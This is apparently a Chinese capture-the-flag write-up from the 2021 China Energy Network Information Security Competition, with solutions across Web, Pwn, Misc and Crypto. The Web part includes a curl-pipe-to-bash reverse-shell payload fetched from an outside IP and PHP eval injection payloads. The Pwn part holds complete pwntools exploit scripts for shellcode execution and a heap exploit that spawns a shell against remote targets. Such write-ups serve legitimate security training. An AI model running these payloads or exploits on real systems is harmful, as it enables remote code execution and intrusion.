2021中国能源网络信息安全大赛wp

FROM TEAM BINX

Web

ezphp

CODE

将base64解了之后得到：

$O0O000="rFqQmguebyiVTBwlWAJYRhsHXfpojxEndNGkZICDLOUtcaSvPzKMfsmDUqReXbSyalFoATOVZMIgjWnLNiPhrBKpxCwukcJEGHQYdzvtdu9FHgTvxjObX3OWGUyFX3O0HA5hvPyWap9JQJBsvaIvHKohHKinx2M0j2xnXKJLj19KQJisj18ncFnTG2yzG2oYXo9zrKsbrwqncFLprjBoGU5MXAJqdQlTOs9gZyZXO3rLX2sEHQrrcFnnxSqMDKozG2y0vwZ1G2ybXUsExyIhVAZEHA4hjQo8WwZ1G2ybXUsExyIhVAZEHA4hjQTMdQlTXAD1vwZWJ0yaJ0odaoIhrjBoGU5MXAJhjQpnwhEpHAJLO2ybGU9bCQGnc30vwUyIG2y7wUoUvKozG2y0vwZWZ0yJAbrNX2ZoO10nvDn7CwTqCwTqCTLqCwTqOKspXAoRCu0qOs9gZyZXO2BYxKJhjaIvCwTqCwZMxK1nXST9CKspxgBIVjBLxjtLOKspXAoRvaIvwUoUvglbxArWXAs0V2qLOb9Ge29FxA5IX2r8G3ozXK9hWgOoVAZIHA5fWgB5XAinXUE8GK9FxjlMG3B0HgO1WgB0GUyMXy9zX2BfxjZWG2ybrUybWgBNVA5pHjO8VjBzxjO0WglNXhZIj2y4xAB8xUoIxy9FrjZWV29RrKyRrgB8xhrbHjZoWKB1GUi8G3ozrKyEWKy2VAi8VjBzxjO0WKxIVAr8GKszG3ZLGhy8xjMoV3izejB0xA18V2MbX290WKBLx3OFWKBLX3rRWgBLxAiIj2y4xAB8GgOYV19YGKyRWglbX2BWx2y0j3B0VjZ1G3iFX3loXhinXUoWVAi0xjO8HA5nj3OoG3ZYGUJLA159jQInjg0YHQGqkwTpVAZEHA4nvDLve2ZnxQqhxjObX3CMObp7WDLvHAVqvKoRrgxMXwqpVAZEHA4nvDLqCwTqwhEorUsIvwGSObTROKspXAoRCw4LObCRk2MLkhlLGwChvQTRObo9WQC7Obp7WDLvWDLvxAizxDLve2y2VAFLObZUXKshdQChCw4pVAZEHA4qkSThCNIhvaE9wqn9";  
        eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),    
        $OO0O00($O0O000,0,$OO0000))));

再解一次得到：

<?php
error_reporting(E_NOTICE);
highlight_file(__FILE__);
@session_start();
$username = @$_GET['whoami'];
if(!@isset($username['admin'])||$username['admin'] != @md5($_SESSION['username']))
{die('error!');}

else{
if(isset($_GET['code']))
{       
    $admin = $_GET['code'];
    $admin = addslashes($admin);

if(preg_match('/\{openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|scandir|assert|pcntl_exec|file_put_contents|fwrite|curl|system|eval|assert|flag|passthru|exec|system|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore([^}]+)\}/i' , $admin))

{die('error!');}

if (intval($admin))
    
{eval('"' .$admin .('"./hh.php"') .')}}";');}

}

else

{eval('$flag="' .$admin . '";');}

}

过第一个if：?whoami[admin]=d41d8cd98f00b204e9800998ecf8427e

d41d8cd98f00b204e9800998ecf8427e是null的md5值

curl反弹shell

http://106.14.120.231:22808/?whoami[admin]=d41d8cd98f00b204e9800998ecf8427e&1=system&3=id&code=1${cu\rl%2042.192.105.50:9000/1|bash};${require(

phar

原题

https://blog.csdn.net/WFC1006848997/article/details/109968490

ezpy

建个文件命令x

b = GLOBAL('__main__', 'b')
b.name = 'kleinor'
b.sex = 'kleinor'
b.age = 'kleinor'
people = INST('__main__', 'people', 'kleinor', 'kleinor', 'kleinor')
return people

用pker 生成的opcodes

https://github.com/eddieivan01/pker

python3 pker.py < x
b"c__main__\nb\np0\n0g0\n(}(S'name'\nS'kleinor'\ndtbg0\n(}(S'sex'\nS'kleinor'\ndtbg0\n(}(S'age'\nS'kleinor'\ndtb(S'kleinor'\nS'kleinor'\nS'kleinor'\ni__main__\npeople\np4\n0g4\n."

Python 3.5.2 (default, Nov 12 2018, 13:43:14)
[GCC 5.4.0 20160609] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> s = "c__main__\nb\np0\n0g0\n(}(S'name'\nS'kleinor'\ndtbg0\n(}(S'sex'\nS'kleinor'\ndtbg0\n(}(S'age'\nS'kleinor'\ndtb(S'kleinor'\nS'kleinor'\nS'kleinor'\ni__main__\npeople\np4\n0g4\n."
>>> base64.b64encode(s.encode()).decode()
'Y19fbWFpbl9fCmIKcDAKMGcwCih9KFMnbmFtZScKUydrbGVpbm9yJwpkdGJnMAoofShTJ3NleCcKUydrbGVpbm9yJwpkdGJnMAoofShTJ2FnZScKUydrbGVpbm9yJwpkdGIoUydrbGVpbm9yJwpTJ2tsZWlub3InClMna2xlaW5vcicKaV9fbWFpbl9fCnBlb3BsZQpwNAowZzQKLg=='
>>>

在app路由，data直接打

Hardcode

<?php
error_reporting(0);
# you need to getshell and find flag!
highlight_file(__FILE__);
if ((string)$_GET['x'] !== (string)$_GET['y'] && md5($_GET['x']) === md5($_GET['y'])) { 
    if(!isset($_GET['code'])){ 
        echo "Attack me!";  } 
    else {   
        $shell = $_GET['code'];    
        if(!preg_match("/[a-zA-Z0-9_$@]+/",$shell)){      
            eval($shell);    } 
        else {      
            die('No,No,No! Keep it up......');    
        }  }}
else {  die("No, way!");}
?> No, way!

http://106.14.120.231:21878/index.php?x=%D11%DD%02%C5%E6%EE%C4i%3D%9A%06%98%AF%F9%5C%2F%CA%B5%87%12F%7E%AB%40%04X%3E%B8%FB%7F%89U%AD4%06%09%F4%B3%02%83%E4%88%83%25qAZ%08Q%25%E8%F7%CD%C9%9F%D9%1D%BD%F2%807%3C%5B%D8%82%3E1V4%8F%5B%AEm%AC%D46%C9%19%C6%DDS%E2%B4%87%DA%03%FD%029c%06%D2H%CD%A0%E9%9F3B%0FW%7E%E8%CET%B6p%80%A8%0D%1E%C6%98%21%BC%B6%A8%83%93%96%F9e%2Bo%F7%2Ap
&y=%D11%DD%02%C5%E6%EE%C4i%3D%9A%06%98%AF%F9%5C%2F%CA%B5%07%12F%7E%AB%40%04X%3E%B8%FB%7F%89U%AD4%06%09%F4%B3%02%83%E4%88%83%25%F1AZ%08Q%25%E8%F7%CD%C9%9F%D9%1D%BDr%807%3C%5B%D8%82%3E1V4%8F%5B%AEm%AC%D46%C9%19%C6%DDS%E24%87%DA%03%FD%029c%06%D2H%CD%A0%E9%9F3B%0FW%7E%E8%CET%B6p%80%28%0D%1E%C6%98%21%BC%B6%A8%83%93%96%F9e%ABo%F7%2Ap&code=?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%3f-[]`%3b?>
利用临时文件来执行命令

直接通配符也可以

Pwn

babyshellcode

只能写0x18个字节，肯定试不够orw的，所以先写shellcode再read一次。

程序把write给禁掉了，二分法爆破flag，一分多钟就OK，侥幸一血

from pwn import *

# context.log_level = 'debug'
context.arch = 'amd64'
binary = './chall'
elf = ELF(binary)
libc = elf.libc

#gdb.attach(p)
flag = ''
for i in range(0, 0x30):
    l = 0
    r = 127
    while l < r:
        mid = (l + r) >> 1
        local = 0
        if local:
                        p = process(binary)
        else:
                        p = remote('106.14.120.231', 24910)

        read_shellcode = shellcraft.read(0, 0x10020, 0x100)
        read_shellcode += 'jmp $+11'
        orw_payload = "open:" + shellcraft.open('flag')
        orw_payload += '''
               mov rdi, rax
               xor rax, rax
               mov rsi, rsp
               mov rdx, 0x100
               syscall
               loop:
               mov al, [rsi + %d]
               cmp al, %d
               ja loop
               mov [rax], rax
               ''' % (i, mid)
        payload = asm(orw_payload)
        p.send(asm(read_shellcode))
        p.send(payload)
        st = time.time()
        try:
            while True:
                cur = p.recv(timeout=0.05)
                if time.time() - st > 1:
                    l = mid + 1
                    break
        except EOFError:
            r = mid
        p.close()
    flag += chr(l)
    print flag

superchunk

只能操作当前堆块，没有show功能，肯定得利用io_stdout来泄露libc了，类似于今年国赛的lonelywolf，同样的操作劫持tcache struct。没有堆地址只能爆破了，概率1/16，后面的io泄露也是1/16，一共成功的机率是1/256。脸黑，跑了好久才出，侥幸一血。

from pwn import *

context.log_level = 'debug'
binary = './superchunk'

def add(size):
        p.sendlineafter('choice: ', '1')
        p.sendlineafter('Size: ', str(size))

def edit(content):
        p.sendlineafter('choice: ', '2')
        p.sendafter('Content: ', content)

def free():
        p.sendlineafter('choice: ', '4')

def exp():
        # gdb.attach(p)
        add(0x100)
        free()
        edit('a'*0x10)
        free()
        edit(p16(0x3010))
        add(0x100)
        add(0x100)
        edit('\x00'*0x23 + '\x06')
        free()
        edit('a'*0x10)
        free()
        add(0x80)
        
        free()
        add(0x100)
        edit(p16(0xe760))
        # free()
        
        add(0xb0)
        # pause()
        # gdb.attach(p)
        edit(p64(0xfbad3887)+p64(0)*3 + p8(0))
        
        libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x3ed8b0
        # if libc_base < 0x7f0000000000:
        #         raise "once again"
        success('libc_base -> {}'.format(hex(libc_base)))
        # pause()
        free_hook = libc_base + libc.sym['__free_hook']
        system = libc_base + libc.sym['system']
        add(0x80)
        edit('\x03' + b'\x00'*0x3f + p64(free_hook))
        add(0x10)
        edit(p64(system))
        add(0x20)
        edit('/bin/sh\x00')
        free()
        p.interactive()


if __name__ == '__main__':
    while True:
        try:
            local = 1
            if local:
                    # p = process(binary)
                p = process([binary],env={"LD_PRELOAD":"./libc-2.27.so"})
                libc = ELF('libc-2.27.so')
                # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
            else:
                p = remote('106.14.120.231', 26118)
                libc = ELF('libc-2.27.so')
            exp()
            break
        except:
            p.close()

能源

easyHttp

程序开了沙箱，实现了类似于http的功能，会检测用户的输入格式，基本就是常见的http请求报文该满足的。

程序中有个后门函数，会把http请求报文中的body字段当作shellcode执行

所以先伪造一个登录的数据包，再发送shellcode orw读flag即可。

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
binary = './easyHttp'
local = 1
if local:
        p = process(binary)
else:
        p = remote('106.14.120.231', 24973)
elf = ELF(binary)
# libc = elf.libc

# gdb.attach(p, 'b *$rebase(0x2222)')
http = '''POST /login HTTP/1.1
Host: 127.0.0.1:80
Connection: Keep-Alive
Accept-Encoding: gzip
NAME: admin
Pass: admin
'''
p.sendlineafter("test> \n", http)
payload = shellcraft.open('flag')
payload += shellcraft.read(3, 'rsp', 0x30)
payload += shellcraft.write(1, 'rsp', 0x30)
shellcode = asm(payload)

payload = b'''POST /tryShellcode HTTP/1.1
Host: 127.0.0.1:80
Connection: Keep-Alive
Accept-Encoding: gzip
NAME: admin
Pass: admin
Content-Length: 45


''' + shellcode
p.sendlineafter("test> \n", payload )
p.interactive()

Misc

hardwire_1

提取出文件，有下发的指令和一个rar文件。

flag{579a4da9e3375c9b96add11cf2915eb5}

fragment

图片拼好

803 977 404 304 996 295 018 520 403

每个文件后面都有多余的，按顺序拼起来

在403尾部发现有PK和LSB svega.wav 但是这里是504B0102 还需要0304的部分

每个png都搜一下504B0304 在803.png发现了 wav也在这里 尝试拼接一下

按照拼图的顺序去拼接图片后的内容得到一个wav文件 提示是LSB

直接用

)

解密得到flag.txt 以此转换得到flag

b1011010 x78 0155 x68 Wg== b110011 x73 b110000 0117 0124 SQ== x33 b1001110 b1000100 x6b 0171 x4e 0152 VQ== 0172 x4d b1101101 0116 x6b b1001101 0127 Ug== aw== 0115 x57 TQ== x30 b1001110 x6a 0112 0153 b1011010 Rw== x45 0167 x5a RA== b1010010 0154 x4e 0107 x4d Mg== b1011010 x58 060 x3d

解码

from urllib import parse
import base64


flag="b1011010 x78 0155 x68 Wg== b110011 x73 b110000 0117 0124 SQ== x33 b1001110 b1000100 x6b 0171 x4e 0152 VQ== 0172 x4d b1101101 0116 x6b b1001101 0127 Ug== aw== 0115 x57 TQ== x30 b1001110 x6a 0112 0153 b1011010 Rw== x45 0167 x5a RA== b1010010 0154 x4e 0107 x4d Mg== b1011010 x58 060 x3d"
a = flag.split(' ')
result=[]
print(a)
for i in a:
    if i[0] == 'b':
        i = i[1:]
        i = int(i,2)
        i = chr(i)
        result.append(i)
    elif i[0] == '0':
        i = i[1:]
        i = int(i,8)
        i = chr(i)
        result.append(i)
    elif i[0] == 'x':
        i = int("0"+i, 16)
        i = chr(i)
        result.append(i)
    else:
        i = base64.b64decode(i)
        i = bytes.decode(i)
        result.append(i)

print(result)

flag = ''.join(result)
print(flag)

ZxmhZ3s0OTI3NDkyNjUzMmNkMWRkMWM0NjJkZGEwZDRlNGM2ZX0=

再base

flag{49274926532cd1dd1c462dda0d4e4c6e}

Crypto

Base

31332b353d3f3f3f2d2d2d2d7a6d6a74706d3838757366677a6d797474736467746d65697a6c6c74787a6d657a61646a766d6f66757365677262776b7a77666a7a61796f7a646d75373d3d3d

转16进制得到13+5=???----zmjtpm88usfgzmyttsdgtmeizlltxzmezadjvmofusegrbwkzwfjzayozdmu7===

后面部分很像base64，13+5联想到ROT13+ROT5，解密得到mzwgcz33hfstmzlggfqtgzrvmyygkmzrmnqwizbshfrteojxmjswmnlbmqzh2===

根据题目Base32解密为flag{9e6ef1a3f5f0e31cadd29c297bef5ad2}

RSA

共模攻击

脚本如下：

import gmpy2
import binascii

e1=835967807536519622934604405063
c1=19448632793065985668242563682199317331128016014251864412392395153156562893115782681369855239641432012330044885183775431340880864508525060098643116187637108122191428830624874050932679396567720373709957047168752779394888657259608530625932344667774681955326741127517701466048803352951916658946766088235132266647346283962586227793525978969088779182627558192227142187329292061143062946064902843366826489113664325053426251453100871248523117087970964024906746251860275872790437361291110328641349591771411040734747357045665591626240405636425026415496457159149035136648895848881873209825942855217824281430061391533815396720710
e2=885003184250422219085124964981
c2=4218572471345165732934998703714571105894271274075665866974516797649450984700474173358118625328090066638656820575859730131413953210153819184549819168514892245621740892736123987170805386681559030845204022985227261362626648144331552748679698050998013623282010514985589856239604197479795560729961306447338695058204615382433558388308701652353732815262119876165416607974763600968466766575623592583217035606726939874922507643990533020940476008390177733659865545258122624949624127261940887766555348528919909233817222490816887166626563144543878852122865972078511391354912133571091812293541668653349538816840275188432483945400
n=31046255108437029118905717148957090183329402036332840118962561815659089322022943549665387220463210707021593218518105030590365349413133234315740524564946375831281241151522645514083464163544922980295642762649110433281286369663828432475929249392310436766745697134397285170617697641192886069854519440924834245392651292279051754654969060722850419325204713884858202922636556579391101638013190488822298434718076867399175291027281809145262948338325719474386917864777538133724445628651824987863715906880390487762744557151375265257554729150403617490110959353085963322495483098493865964611448790100520199013314219751750640119863

s = gmpy2.gcdext(e1,e2) #扩展欧几里得算法
s1 = s[1]
s2 = s[2]
 
# 求模反元素
if s1 < 0:
   s1 = -s1
   c1 = gmpy2.invert(c1, n)
elif s2 < 0:
   s2 = -s2
   c2 = gmpy2.invert(c2, n)
 
m = pow(c1, s1, n) * pow(c2, s2, n) % n
flag = binascii.unhexlify(hex(m)[2:])
print (flag)

解出flag{624b0ff5-2d6d-11ec-b48b-dca90498a2db}